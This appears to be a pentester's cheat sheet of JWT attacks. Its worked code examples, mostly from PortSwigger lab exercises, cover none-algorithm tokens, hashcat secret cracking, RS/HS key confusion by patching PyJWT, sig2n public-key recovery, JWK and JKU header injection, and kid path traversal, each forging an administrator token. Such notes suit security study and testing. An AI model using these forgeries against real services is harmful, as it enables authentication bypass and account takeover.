############## Json Web Token ############## | https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens | https://jwt.io/ | *************** JWT With Python *************** | Usefull python3 JWT libraries .. code-block:: bash python3 -m pip install --upgrade pyjwt[crypto] Authlib | ******** READ JWT ******** .. code-block:: bash echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg"\ | jq -R 'split(".") | .[0,1] | @base64d | fromjson' # { # "alg": "HS256", # "typ": "JWT" # } # { # "some": "payload" # } | ************** NONE Algorithm ************** .. code-block:: python import jwt payload = {'user': 'value'} token = jwt.encode(payload, key=None, algorithm=None) print(token) # eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoidmFsdWUifQ. # {"typ": "JWT", "alg": "none"}{'user': 'value'} | ******************** HMAC SHA512 Cracking ******************** .. code-block:: bash # Put JWT in a file echo "eyJraWQiOiI2NDNlYTVhMy1kY2JmLTRhNDAtODkzYS0yYTliNTI3ZDNiZTUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2MDY1NjA5OH0.S0o9u2K26z0C6edZT0QirPPBcgY7pBi8hYACGW29k60">jwt.txt # Crack with Wordlist hashcat -a0 -m 16500 jwt.txt /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt --potfile-path=potfile.txt # Crack with Bruteforce hashcat -a3 -m 16500 jwt.txt --potfile-path=potfile.txt .. code-block:: python import jwt payload = {'user': 'value'} password = 'secret1' print(jwt.encode(payload, password, algorithm='HS256')) # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VyIjoidmFsdWUifQ.KM5d456Dfj9X_Uuch4faQUADvDofZ4Y1Lktsa6MTJgnaeEkhJ1F1E9ecgbLHkp69zeDmKdqlur0M4zSwJ0YG0A # {'typ': 'JWT', 'alg': 'HS512'}{'user': 'value'} | ************************ HMAC SHA & RSA Confusion ************************ | Server generate JWT signed with private key. | When the client come back the server use public key to check JWT signature validity. | HMAC SHA & RSA Confusion attack aims to force server to use public key as a classic string secret (HS) instead of pub/priv calculations (RS). .. code-block:: python import jwt payload = {'user': 'value'} # Remove security verifications in prepare_key function in order to force HS/RS Confusion def prepare_key(self, key): return key jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key # Use public key as password password = "[...]PUBKEY[...]".encode() print(jwt.encode(payload, password, algorithm='HS512')) | | Here is another exemple from burp academy where public key is extracted from JWKS exponent and modulus values. | Default JWT: .. code-block:: bash echo 'eyJraWQiOiJhY2E4MzdiMS1lNWI0LTQyZjgtOWRjYi1jNDFlNDE0YTU1M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MDYwNDg4MX0.V-rC_v4UEOqE0UWCRSAGY4FK9gQ7_auvEWSut0GuAdp4zWgYU60brGwSnBXrGkds7OceuTE8MzfjiNsCOBrTpyHPhvoN3_-7T3YaIU4A58dWKcM3nTQOOsxRLD4Sw_BYg0bSIDQDzSqHY2qfaBdiHmuQNFRa9-zKqhpD471tkkHcuIPcJYad2H_-dh9WovCiqVcVZxgjXRI_bo_sS-uOVZcqDep6rv24EH43LR1ZMDjkEqsbLhRZzVFKdEAYv8jEM099P7c6ek-96ygOeeoCNrHYnusg4jxukfLmblWjp-6tO0wA0YR-hKU4aRf2iiDGgVGbGGmPHM4Ju305XLnA8A'\ |python -c 'import sys,jwt;t=str(sys.stdin.readlines());h=jwt.get_unverified_header(t);p=jwt.decode(t, options={"verify_signature": 0});print(f"{h}{p}")' {'kid': 'aca837b1-e5b4-42f8-9dcb-c41e414a553a', 'alg': 'RS256'}{'iss': 'portswigger', 'sub': 'wiener', 'exp': 1670604881} | JWKS is retrieved from "/jwks.json" endpoint .. code-block:: bash curl https://0a28007b046cefa6c0f3f5cc00ae00d8.web-security-academy.net/jwks.json {"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"aca837b1-e5b4-42f8-9dcb-c41e414a553a","alg":"RS256","n":"xFP5wDBH-htDufnLWKEpUgnEec6nfPSYiE1kFSTI2AykU8frafeoucqE3WmD4YpI3O1IgAxU0w-wSspiJvpVivxJ6KzEsqNZr8q5fn98OfqBe3y8GEpPjY-wC3iZPyrv78WWJCoYkbZGN0W7tCBwp8mXbErf95_OFXmB330sNAnPA-SdtWMfogjVEj9J5TX69xqfuNqD9i-wNdEmJcZ66VJDfsHAas_lIkNhxQeYXJPODPie9cU4o0Q6JTbVEXUndlQE8RbeACA0dXaoUIuCpRCUJZFMDkGghtF0oXusryCljUoxjRtMQ5_SbYXlDXpNs_qWD35JHj8zmie4Nvpm1Q"}]} | We need to install pycryptodome pip package in order to construct public key .. code-block:: bash pip install pycryptodome .. code-block:: python import jwt from Crypto.PublicKey import RSA from base64 import urlsafe_b64decode # Set exposant and modulus from jwks.json e="AQAB" n="xFP5wDBH-htDufnLWKEpUgnEec6nfPSYiE1kFSTI2AykU8frafeoucqE3WmD4YpI3O1IgAxU0w-wSspiJvpVivxJ6KzEsqNZr8q5fn98OfqBe3y8GEpPjY-wC3iZPyrv78WWJCoYkbZGN0W7tCBwp8mXbErf95_OFXmB330sNAnPA-SdtWMfogjVEj9J5TX69xqfuNqD9i-wNdEmJcZ66VJDfsHAas_lIkNhxQeYXJPODPie9cU4o0Q6JTbVEXUndlQE8RbeACA0dXaoUIuCpRCUJZFMDkGghtF0oXusryCljUoxjRtMQ5_SbYXlDXpNs_qWD35JHj8zmie4Nvpm1Q" # Change wiener to administrator and change RS(pub/priv) to HS(secret) algorithm, keep others values from default JWT payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670604881} headers={'kid': 'aca837b1-e5b4-42f8-9dcb-c41e414a553a', 'alg': 'HS256'} e = int.from_bytes(urlsafe_b64decode(e),"big") n = int.from_bytes(urlsafe_b64decode(n+'=='),"big") # Construct a `RSAobj` with only ( n, e ), thus with only PublicKey password = RSA.construct((n, e)).publickey().exportKey() password = password + b"\n" # If distant key have a final cariage return def prepare_key(self, key): return key # Remove security verifications in prepare_key function in order to force HS/RS Confusion jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key print(jwt.encode(payload, password, algorithm='HS256', headers=headers)) # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImFjYTgzN2IxLWU1YjQtNDJmOC05ZGNiLWM0MWU0MTRhNTUzYSJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzA2MDQ4ODF9.VD6dHqGa_OQ-ZEbA8zKArHCC40A9xz4cbwVSssEkXkA # {'typ': 'JWT', 'alg': 'HS256', 'kid': 'aca837b1-e5b4-42f8-9dcb-c41e414a553a'}{'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670604881} | ************************************ HMAC SHA & RSA Confusion w.o. pubkey ************************************ | If public key isn't available, we can brute-force public key from 2 given token | Default JWT: .. code-block:: bash echo 'eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MDg0MjcxM30.JW_X2BZGZEk8Sq7Y51NzJgqBuZCRqkpSiUpdlQ2-YKfdjAqrO1R1QYUgHKTdjr9FEivETgr0hxUUX4nWvFPHe3zUiWTHxIbDkE75O0avzt5roi80XEwljaqO-88NU1j3kmCqFeYB7x1p2zdQOAOkXahK5zV0qXQgyXDDK4HPSJftxnBwEljAr0hCp2QxW2y7___deXcc30fGmLn79Ry_qh14TlY_PB-l9p2u4RqLh5k0woS3dedWWwvfN5eTs6ghcEfUkf-FpaC1De3C7hKGooiyTLCrbdzXfHCIREormts8mdE-G6vvjiJBXT0yHfA0BCBFt5pVe3sc7nd7WH8MHQ'\ |python -c 'import sys,jwt;t=str(sys.stdin.readlines());h=jwt.get_unverified_header(t);p=jwt.decode(t, options={"verify_signature": 0});print(f"{h}{p}")' {'kid': 'b44ed48a-0aa3-4c00-8b00-b7b4c5ca35a8', 'alg': 'RS256'}{'iss': 'portswigger', 'sub': 'wiener', 'exp': 1670842713} | | Retrieve two JWT and brute-force public key with "sig2n" from portswigger, | this tool then generate a Tampered JWT using public key as secret key: .. code-block:: bash docker pull portswigger/sig2n docker run --rm -it portswigger/sig2n \ eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MDg0MjcxM30.JW_X2BZGZEk8Sq7Y51NzJgqBuZCRqkpSiUpdlQ2-YKfdjAqrO1R1QYUgHKTdjr9FEivETgr0hxUUX4nWvFPHe3zUiWTHxIbDkE75O0avzt5roi80XEwljaqO-88NU1j3kmCqFeYB7x1p2zdQOAOkXahK5zV0qXQgyXDDK4HPSJftxnBwEljAr0hCp2QxW2y7___deXcc30fGmLn79Ry_qh14TlY_PB-l9p2u4RqLh5k0woS3dedWWwvfN5eTs6ghcEfUkf-FpaC1De3C7hKGooiyTLCrbdzXfHCIREormts8mdE-G6vvjiJBXT0yHfA0BCBFt5pVe3sc7nd7WH8MHQ \ eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY3MDg0Mjg4MH0.I2tgWeLRww74r7SDgILexOvfxTJT20Mos0aB_seI0uMlB2YDYumhngiKv-wCL7ZO0DOGszNN1nEnWtPHdVKc_TNyr8TjWrcFJuocW7Dr2u3d0tZUH0MK4ZI6ezWOR7c-Xnfte8kXP2pIDQuccHk0cd4RSJUWvfy5ylR7LOMD0c1q746YDv932KF-aXSmsCNA5K-BythVMlh8ZFO7IPp85xGzg_vW_IJqoacZGvJkDfNhbPgutPoX244-Unf1o9DdyuVocrgu4KawZgyPB9pH3qWMb8hCnR2igDXcJbboQvl1qdah5-dmeh_CRAy7xag8VAZI5hJ79IYcLqzuZ6qE3Q Found n with multiplier 1: Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwWFR3TStVSmZYNkhibFUwV2FBeQp2ZGdERmEwRW5SMjZwd1dhNVVIaURhbEFtWSsyZ21yQ0xGWms1VXVrZkNMTFlNMldPcFRvRk1lVnFTQjkzTHZoCkVIQ080WHpYay9wSTI5bGhGNlcvbiszdU54d0NZbldBWUdvNDhobkNzOW84YXJWcndpR2M4ZFl5N2hhRVlsRUkKc0ZjL0VyOEFjREdkb29idXl6a2ZhOWl1Q2RKY0lvZmxFc25lenhuVnJGYmdMQnUrOTRLQjZsVk93bVdLbnNBdApFS3RjOUNnVUNnTUFZdzdoeHFlbExrZHYyeHpKV2lidzhYYTlidk9FMXdMMEpYUS90MUV0VGhIY3RldFlaTVdKCjhvRTFVZzBySXFvSVBmd3hGWUpsMnNNTzBJc2hCZnAxRTFTY0tmNXZCeldySHNTVjVhMVR5MUdGcWZhWkJDWjEKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== Tampered JWT: eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjcwOTI1ODgyfQ.MChfhdxaUAvKVq3bEfQLVzT0D8Q-zU0ieM3IKBOo6Dw Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXBYVHdNK1VKZlg2SGJsVTBXYUF5dmRnREZhMEVuUjI2cHdXYTVVSGlEYWxBbVkrMmdtckMKTEZaazVVdWtmQ0xMWU0yV09wVG9GTWVWcVNCOTNMdmhFSENPNFh6WGsvcEkyOWxoRjZXL24rM3VOeHdDWW5XQQpZR280OGhuQ3M5bzhhclZyd2lHYzhkWXk3aGFFWWxFSXNGYy9FcjhBY0RHZG9vYnV5emtmYTlpdUNkSmNJb2ZsCkVzbmV6eG5WckZiZ0xCdSs5NEtCNmxWT3dtV0tuc0F0RUt0YzlDZ1VDZ01BWXc3aHhxZWxMa2R2Mnh6SldpYncKOFhhOWJ2T0Uxd0wwSlhRL3QxRXRUaEhjdGV0WVpNV0o4b0UxVWcwcklxb0lQZnd4RllKbDJzTU8wSXNoQmZwMQpFMVNjS2Y1dkJ6V3JIc1NWNWExVHkxR0ZxZmFaQkNaMWxRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K Tampered JWT: eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjcwOTI1ODgyfQ.-NmKalFMQklj533SE3J2tFXKD-M_E6INr3pk4PpwUlY | | Replace default JWT with Tampered JWT, and it works ! | Notice that Tampered JWT have HS256(secret) algorithm instead of RS256(pub/priv): .. code-block:: bash echo 'eyJraWQiOiJiNDRlZDQ4YS0wYWEzLTRjMDAtOGIwMC1iN2I0YzVjYTM1YTgiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjcwOTI1ODgyfQ.MChfhdxaUAvKVq3bEfQLVzT0D8Q-zU0ieM3IKBOo6Dw'\ |python -c 'import sys,jwt;t=str(sys.stdin.readlines());h=jwt.get_unverified_header(t);p=jwt.decode(t, options={"verify_signature": 0});print(f"{h}{p}")' {'kid': 'b44ed48a-0aa3-4c00-8b00-b7b4c5ca35a8', 'alg': 'HS256'}{'iss': 'portswigger', 'sub': 'wiener', 'exp': 1670925882} | | We now need to change user from wiener to administrator .. code-block:: python import jwt import base64 # Change wiener to administrator, set algorithm to HS256, keep others values from default JWT payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670925882} headers={'kid': 'b44ed48a-0aa3-4c00-8b00-b7b4c5ca35a8', 'alg': 'HS256'} # Insert brute-forced public key x509pubkey = "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwWFR3TStVSmZYNkhibFUwV2FBeQp2ZGdERmEwRW5SMjZwd1dhNVVIaURhbEFtWSsyZ21yQ0xGWms1VXVrZkNMTFlNMldPcFRvRk1lVnFTQjkzTHZoCkVIQ080WHpYay9wSTI5bGhGNlcvbiszdU54d0NZbldBWUdvNDhobkNzOW84YXJWcndpR2M4ZFl5N2hhRVlsRUkKc0ZjL0VyOEFjREdkb29idXl6a2ZhOWl1Q2RKY0lvZmxFc25lenhuVnJGYmdMQnUrOTRLQjZsVk93bVdLbnNBdApFS3RjOUNnVUNnTUFZdzdoeHFlbExrZHYyeHpKV2lidzhYYTlidk9FMXdMMEpYUS90MUV0VGhIY3RldFlaTVdKCjhvRTFVZzBySXFvSVBmd3hGWUpsMnNNTzBJc2hCZnAxRTFTY0tmNXZCeldySHNTVjVhMVR5MUdGcWZhWkJDWjEKbFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" password = base64.b64decode(x509pubkey) def prepare_key(self, key): return key # Remove security verifications in prepare_key function in order to force HS/RS Confusion jwt.algorithms.HMACAlgorithm.prepare_key = prepare_key print(jwt.encode(payload, password, algorithm='HS256', headers=headers)) # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImI0NGVkNDhhLTBhYTMtNGMwMC04YjAwLWI3YjRjNWNhMzVhOCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzA5MjU4ODJ9.X_S2BGzRQJnl0mx_RN0GbWxL9Fyfdeq-TdlWeYbWwLU # {'typ': 'JWT', 'alg': 'HS256', 'kid': 'b44ed48a-0aa3-4c00-8b00-b7b4c5ca35a8'}{'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670925882} | *************************** Self-signed JWT: JWK header *************************** | Happens when server allow JWK header as verification key, but doesn't check if the provided key comes from a trusted source | We need Authlib "jose" for JWK support .. code-block:: bash pip install Authlib .. code-block:: python from authlib.jose import JsonWebKey, jwt from Crypto.PublicKey import RSA # Change wiener to administrator, remove kid header, keep others values from default JWT payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670861679} headers={'alg': 'RS256'} # Generate new RSA key rsa = RSA.generate(2048) pub = rsa.publickey().export_key('PEM') # Export public key as PEM priv = rsa.export_key('PEM') # Export private key as PEM jwk = JsonWebKey.import_key(pub, {'kty': 'RSA'}).as_dict() # Encode public key in JWK headers["jwk"] = jwk # Set JWK header encoded = jwt.encode(headers, payload, priv) # Generate JWT # eyJhbGciOiJSUzI1NiIsImp3ayI6eyJuIjoiM0d4c2w1dnp3M2h2UVlZazcxS1JCM2NZa1pYYWs2WTZNR2VqeWJXd2xhX20wVWVPZnlXX2RaVlFLemZac05vZGtJWmV1NHdqUU1CUlJhYVo3REZyaldSNkczRm8teU1CajFHSDlZQkZtSTZfZ3ZiNEJwaUt5dFBjd1pyN3hqOHB3MnAwREFrMjZVSW5COTc0Yk9vZFYxc2taQTdZOWIzbDdUQVRoS1AyMEExa3FFdXYzdHNwRXNzU21aRm1keU9QbDRFZHhySkNPSkJUVmUwM3g1bmRsR1dTNWVuMlJuTWwxeW1mOVhIV3NfSVhtOWEtODNBbWlaSVpsUGtkSmtXM3VWZEZNRGlnYjE2VWRuV2E0WTM4WlR0THNJZ2FZUG00T3B0cWpnOWxDWmVmY3hQdHBZcFl1WGlSbV9OcDh4c1oxYUNuak9fV1FhY1ZGSkw0Ml9lbUx3IiwiZSI6IkFRQUIiLCJrdHkiOiJSU0EiLCJraWQiOiJuMkpXek5mNUVNakhwTk01UGhpbUdmTXRuUFBWejVxcEZlZ29ZajhqSkRnIn0sInR5cCI6IkpXVCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzA4NjE2Nzl9.rY8ahRUzWu0mD4_6eG6TOuS2qm8d4bwhM6z-q2D1O_U7rVdNlzWd21ZtBOe6TxvHyfmTpLkjXBERqdLwVPuMaHRtztxhVPB45tTBF-aJ8n8lZ6Fq03TcUPYzojvhAgnoyTvN3RcVrZ75CRF3PuJU6XX1trQ6L67_YYMQahfp-NJaHxSKRWB8FOQFMPL6yxbJDdiWobRXZfaIi45v9Qxq2Py4q4z19tlXm4TfPoxlDbA15Cf-xdXr7MIfcKgMx0gT5iSouDBlBRK6z_9IZtY0oSQ3jq4bivo9d3sQbUbGDGW7v2n01OpoH8GKAztJq4u6msNyg14fQwiwZvIwEaNTxQ # {'alg': 'RS256', 'jwk': {'n': '3Gxsl5vzw3hvQYYk71KRB3cYkZXak6Y6MGejybWwla_m0UeOfyW_dZVQKzfZsNodkIZeu4wjQMBRRaaZ7DFrjWR6G3Fo-yMBj1GH9YBFmI6_gvb4BpiKytPcwZr7xj8pw2p0DAk26UInB974bOodV1skZA7Y9b3l7TAThKP20A1kqEuv3tspEssSmZFmdyOPl4EdxrJCOJBTVe03x5ndlGWS5en2RnMl1ymf9XHWs_IXm9a-83AmiZIZlPkdJkW3uVdFMDigb16UdnWa4Y38ZTtLsIgaYPm4Optqjg9lCZefcxPtpYpYuXiRm_Np8xsZ1aCnjO_WQacVFJL42_emLw', 'e': 'AQAB', 'kty': 'RSA', 'kid': 'n2JWzNf5EMjHpNM5PhimGfMtnPPVz5qpFegoYj8jJDg'}, 'typ': 'JWT'}{'iss': 'portswigger', 'sub': 'administrator', 'exp': 1670861679} | *************************** Self-signed JWT: JKU header *************************** | JKU (JWK Set URL) header define URL that offer JWK public keys. | In this case the server doesn't check if the provided key comes from a trusted source .. code-block:: python from authlib.jose import JsonWebKey, jwt from Crypto.PublicKey import RSA import json # Change wiener to administrator, remove kid header, replace JKU and keep others values from default JWT payload = {'iss': 'portswigger', 'sub': 'administrator', 'exp': 1671025577} headers = {'alg': 'RS256', 'jku': 'https://exploit-0aa9006b049bc424c0bfd5cd01c3007b.exploit-server.net/exploit'} # Generate new RSA key rsa = RSA.generate(2048) pub = rsa.publickey().export_key('PEM') # Export public key as PEM priv = rsa.export_key('PEM') # Export private key as PEM jwk = JsonWebKey.import_key(pub, {'kty': 'RSA'}).as_dict() jku_keys = {"keys":[jwk]} print(json.dumps(jku_keys, sort_keys=True, indent=2)) # Print JWK to store on server print(jwt.encode(headers, payload, priv).decode()) # Generate JWT # eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWE5MDA2YjA0OWJjNDI0YzBiZmQ1Y2QwMWMzMDA3Yi5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzEwMjU1Nzd9.Y6B-f9shXColZYCpzEUHE0tZC0ycB8osFbCH8JfWMLpCdtStU3qLwzp8fm_S21U9E7NQvcAEaPqJmInDOEP1Uh-MIneJ5-u4s-9YGZQAH_2HyMEsP-G5UDMDSdmi_6wBJkRn9RdyKP6JD4dslEhanS7zjaXGrg7rLCFZei7yQFL5-CcyQOxgXvnIP9jGpPplmZkg4OViN5SSLJHI9SrvYYiVZ4uyYdMxZJHjDc0lm9zO5K-FdUh2DPjb5LQ6u66OE94V357OWHtN_DtiiX0tUjJkWzS2lvH70f28_lMmSrlQAy5AB543Q0LFYZhEnFrXlTUc8gFuXlQaC3bg_FFW8A # {'alg': 'RS256', 'jku': 'https://exploit-0aa9006b049bc424c0bfd5cd01c3007b.exploit-server.net/exploit', 'typ': 'JWT'}{'iss': 'portswigger', 'sub': 'administrator', 'exp': 1671025577} | JWK data to store on attacker server (https://exploit-0aa9006b049bc424c0bfd5cd01c3007b.exploit-server.net/exploit) .. code-block:: json { "keys": [ { "e": "AQAB", "kid": "9VSJycA-d13Jma_q3sZjvIdNQr3oNsCc_rJ56HU9aew", "kty": "RSA", "n": "xlqqc3mGT88NofDTPLYXhVJ8WpZBhIGYoE1JLQCArMWbfZKJPGbKHJesK7UGGiXIRgoBNfvR-AXg9SSoKcNm2q3ZSQFK5WF8mksxaFU8_I-UBM512OpKuwqsOk3S5s__Zf3Omop8gBJGB9OGAzE0IcugL29ggXQ2bsyZ4rdI9NP6RTZLI0_QpKJeUMyl8-GM-6IXHfshuxpXJ4p3Zobj3z4r3I80C2B8vjr3LqhcPLxAbt1fWTBi5PT8bTRz7VU_y4AxGGwylP5sca6LovV4fPuBXDZVAAJ97iaVfedwtmqvbnLsAxhF3qG8e-5OcpJ-uEEALOs1RfGPv7pdhlw-lQ" } ] } | ****************** KID PATH TRAVERSAL ****************** | KID (key ID) can refer to a file on server. | Knowing the content of a distant file, we can use it as a key, such as /dev/null .. code-block:: python import jwt headers={"kid": "../../../../../../../dev/null"} payload = {'user': 'value'} password = '' # Null print(jwt.encode(payload, password, algorithm='HS256', headers=headers)) # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJ1c2VyIjoidmFsdWUifQ.OmijRO-me1htjkgwhGRbxn2j6dt8T4sZBTpO3Ms9GqI # {'typ': 'JWT', 'alg': 'HS256', 'kid': '../../../../../../../dev/null'}{'user': 'value'} |